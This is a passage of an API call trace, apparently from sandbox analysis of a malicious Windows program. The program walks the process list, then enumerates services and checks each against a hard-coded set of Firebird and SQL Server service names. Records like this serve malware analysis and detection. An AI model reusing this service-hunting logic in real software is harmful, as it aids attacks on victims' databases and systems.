	[0035.102] Process32NextW (in: hSnapshot=0x114, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0035.103] lstrlenW (lpString="svchost.exe") returned 11
	[0035.103] Process32NextW (in: hSnapshot=0x114, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0035.103] lstrlenW (lpString="svchost.exe") returned 11
	[0035.103] Process32NextW (in: hSnapshot=0x114, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0035.104] lstrlenW (lpString="svchost.exe") returned 11
	[0035.104] Process32NextW (in: hSnapshot=0x114, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0035.105] lstrlenW (lpString="audiodg.exe") returned 11
	[0035.105] Process32NextW (in: hSnapshot=0x114, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0035.105] lstrlenW (lpString="svchost.exe") returned 11
	[0035.105] Process32NextW (in: hSnapshot=0x114, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0035.106] lstrlenW (lpString="svchost.exe") returned 11
	[0035.106] Process32NextW (in: hSnapshot=0x114, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0035.106] lstrlenW (lpString="dwm.exe") returned 7
	[0035.106] Process32NextW (in: hSnapshot=0x114, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0035.107] lstrlenW (lpString="explorer.exe") returned 12
	[0035.107] Process32NextW (in: hSnapshot=0x114, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0035.108] lstrlenW (lpString="spoolsv.exe") returned 11
	[0035.108] Process32NextW (in: hSnapshot=0x114, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0035.108] lstrlenW (lpString="taskhost.exe") returned 12
	[0035.108] Process32NextW (in: hSnapshot=0x114, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0035.109] lstrlenW (lpString="svchost.exe") returned 11
	[0035.109] Process32NextW (in: hSnapshot=0x114, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1
	[0035.109] lstrlenW (lpString="taskeng.exe") returned 11
	[0035.109] Process32NextW (in: hSnapshot=0x114, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0035.110] lstrlenW (lpString="taskhost.exe") returned 12
	[0035.110] Process32NextW (in: hSnapshot=0x114, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="program.exe")) returned 1
	[0035.110] lstrlenW (lpString="program.exe") returned 11
	[0035.111] Process32NextW (in: hSnapshot=0x114, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x358, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="felt.exe")) returned 1
	[0035.111] lstrlenW (lpString="felt.exe") returned 8
	[0035.111] Process32NextW (in: hSnapshot=0x114, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="bibliography.exe")) returned 1
	[0035.112] lstrlenW (lpString="bibliography.exe") returned 16
	[0035.112] Process32NextW (in: hSnapshot=0x114, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="georgeeliteopening.exe")) returned 1
	[0035.112] lstrlenW (lpString="georgeeliteopening.exe") returned 22
	[0035.112] Process32NextW (in: hSnapshot=0x114, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="commissioners_o_tiny.exe")) returned 1
	[0035.113] lstrlenW (lpString="commissioners_o_tiny.exe") returned 24
	[0035.113] Process32NextW (in: hSnapshot=0x114, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="converter.exe")) returned 1
	[0035.113] lstrlenW (lpString="converter.exe") returned 13
	[0035.113] Process32NextW (in: hSnapshot=0x114, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="once.exe")) returned 1
	[0035.850] lstrlenW (lpString="once.exe") returned 8
	[0035.850] Process32NextW (in: hSnapshot=0x114, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="bras_cod_tribune.exe")) returned 1
	[0035.851] lstrlenW (lpString="bras_cod_tribune.exe") returned 20
	[0035.851] Process32NextW (in: hSnapshot=0x114, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="always.exe")) returned 1
	[0035.852] lstrlenW (lpString="always.exe") returned 10
	[0035.852] Process32NextW (in: hSnapshot=0x114, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="walkerusefuldifferently.exe")) returned 1
	[0035.853] lstrlenW (lpString="walkerusefuldifferently.exe") returned 27
	[0035.853] Process32NextW (in: hSnapshot=0x114, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="donated.exe")) returned 1
	[0035.854] lstrlenW (lpString="donated.exe") returned 11
	[0035.854] Process32NextW (in: hSnapshot=0x114, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="nowherepike.exe")) returned 1
	[0035.855] lstrlenW (lpString="nowherepike.exe") returned 15
	[0035.855] Process32NextW (in: hSnapshot=0x114, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="packagevolkswagen.exe")) returned 1
	[0035.856] lstrlenW (lpString="packagevolkswagen.exe") returned 21
	[0035.856] Process32NextW (in: hSnapshot=0x114, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x734, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="roommate_ordinary.exe")) returned 1
	[0035.856] lstrlenW (lpString="roommate_ordinary.exe") returned 21
	[0035.856] Process32NextW (in: hSnapshot=0x114, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="allowance.exe")) returned 1
	[0035.857] lstrlenW (lpString="allowance.exe") returned 13
	[0035.857] Process32NextW (in: hSnapshot=0x114, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conducting affect.exe")) returned 1
	[0035.858] lstrlenW (lpString="conducting affect.exe") returned 21
	[0035.858] Process32NextW (in: hSnapshot=0x114, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="plaintiff.exe")) returned 1
	[0035.859] lstrlenW (lpString="plaintiff.exe") returned 13
	[0035.859] Process32NextW (in: hSnapshot=0x114, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dialog.exe")) returned 1
	[0035.860] lstrlenW (lpString="dialog.exe") returned 10
	[0035.860] Process32NextW (in: hSnapshot=0x114, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="katrinaupgradingfruits.exe")) returned 1
	[0035.861] lstrlenW (lpString="katrinaupgradingfruits.exe") returned 26
	[0035.861] Process32NextW (in: hSnapshot=0x114, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spa-podcasts.exe")) returned 1
	[0035.862] lstrlenW (lpString="spa-podcasts.exe") returned 16
	[0035.862] Process32NextW (in: hSnapshot=0x114, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0035.862] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0035.862] Process32NextW (in: hSnapshot=0x114, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0035.864] lstrlenW (lpString="dllhost.exe") returned 11
	[0035.864] Process32NextW (in: hSnapshot=0x114, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0035.864] lstrlenW (lpString="dllhost.exe") returned 11
	[0035.864] Process32NextW (in: hSnapshot=0x114, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x918, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="swpesp.exe")) returned 1
	[0035.865] lstrlenW (lpString="swpesp.exe") returned 10
	[0035.865] Process32NextW (in: hSnapshot=0x114, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x92c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x918, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0035.866] lstrlenW (lpString="cmd.exe") returned 7
	[0035.866] Process32NextW (in: hSnapshot=0x114, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x92c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x918, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 0
	[0035.867] CloseHandle (hObject=0x114) returned 1
	[0035.867] Sleep (dwMilliseconds=0x1f4) 
	[0037.077] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x35d01b0
	[0037.078] EnumServicesStatusExW (in: hSCManager=0x35d01b0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x6eff44, lpServicesReturned=0x6eff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x6eff44, lpServicesReturned=0x6eff5c, lpResumeHandle=0x0) returned 0
	[0037.079] GetLastError () returned 0xea
	[0037.079] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x11e4) returned 0x5e25f8
	[0037.079] EnumServicesStatusExW (in: hSCManager=0x35d01b0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x5e25f8, cbBufSize=0x11e4, pcbBytesNeeded=0x6eff44, lpServicesReturned=0x6eff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x5e25f8, pcbBytesNeeded=0x6eff44, lpServicesReturned=0x6eff5c, lpResumeHandle=0x0) returned 1
	[0037.080] CloseServiceHandle (hSCObject=0x35d01b0) returned 1
	[0037.080] lstrlenW (lpString="Appinfo") returned 7
	[0037.080] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0037.080] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0037.080] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0037.080] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0037.080] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0037.080] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0037.080] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0037.080] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0037.080] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0037.080] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0037.080] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0037.080] lstrlenW (lpString="AudioSrv") returned 8
	[0037.080] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1
	[0037.080] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1
	[0037.080] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1
	[0037.080] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1
	[0037.080] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1
	[0037.080] lstrlenW (lpString="BFE") returned 3
	[0037.080] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0037.080] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0037.080] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0037.081] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0037.081] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0037.081] lstrlenW (lpString="CryptSvc") returned 8
	[0037.081] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0037.081] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0037.081] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0037.081] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0037.081] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0037.081] lstrlenW (lpString="CscService") returned 10
	[0037.081] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1
	[0037.081] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1
	[0037.081] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1
	[0037.081] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1
	[0037.081] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1
	[0037.081] lstrlenW (lpString="DcomLaunch") returned 10
	[0037.081] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0037.081] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0037.081] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0037.081] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0037.081] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0037.081] lstrlenW (lpString="Dhcp") returned 4
	[0037.081] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0037.081] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0037.081] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0037.081] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0037.081] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0037.081] lstrlenW (lpString="Dnscache") returned 8
	[0037.081] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0037.081] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0037.081] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0037.081] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0037.081] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0037.081] lstrlenW (lpString="DPS") returned 3
	[0037.082] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0037.082] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0037.082] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0037.082] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0037.082] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0037.082] lstrlenW (lpString="eventlog") returned 8
	[0037.082] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1
	[0037.082] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1
	[0037.082] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1
	[0037.082] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1
	[0037.082] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1
	[0037.082] lstrlenW (lpString="EventSystem") returned 11
	[0037.082] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0037.082] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0037.082] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0037.082] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0037.082] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0037.082] lstrlenW (lpString="gpsvc") returned 5
	[0037.082] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0037.082] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0037.082] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0037.082] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0037.082] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0037.082] lstrlenW (lpString="iphlpsvc") returned 8
	[0037.082] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0037.082] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0037.082] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0037.082] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0037.082] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0037.082] lstrlenW (lpString="LanmanServer") returned 12
	[0037.082] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0037.083] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0037.083] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0037.083] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0037.083] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0037.083] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0037.083] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0037.083] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0037.083] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0037.083] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0037.083] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0037.083] lstrlenW (lpString="lmhosts") returned 7
	[0037.083] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0037.083] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0037.083] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0037.083] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0037.083] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0037.083] lstrlenW (lpString="MMCSS") returned 5
	[0037.083] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1
	[0037.083] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1
	[0037.083] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1
	[0037.083] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1
	[0037.083] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1
	[0037.083] lstrlenW (lpString="MpsSvc") returned 6
	[0037.083] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0037.083] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0037.083] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0037.083] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0037.083] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0037.083] lstrlenW (lpString="Netman") returned 6
	[0037.083] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1
	[0037.083] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1
	[0037.083] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1
	[0037.084] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1
	[0037.084] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1
	[0037.084] lstrlenW (lpString="netprofm") returned 8
	[0037.084] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0037.084] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0037.084] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0037.084] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0037.084] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0037.084] lstrlenW (lpString="NlaSvc") returned 6
	[0037.084] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0037.084] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0037.084] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0037.084] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0037.084] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0037.084] lstrlenW (lpString="nsi") returned 3
	[0037.084] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0037.084] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
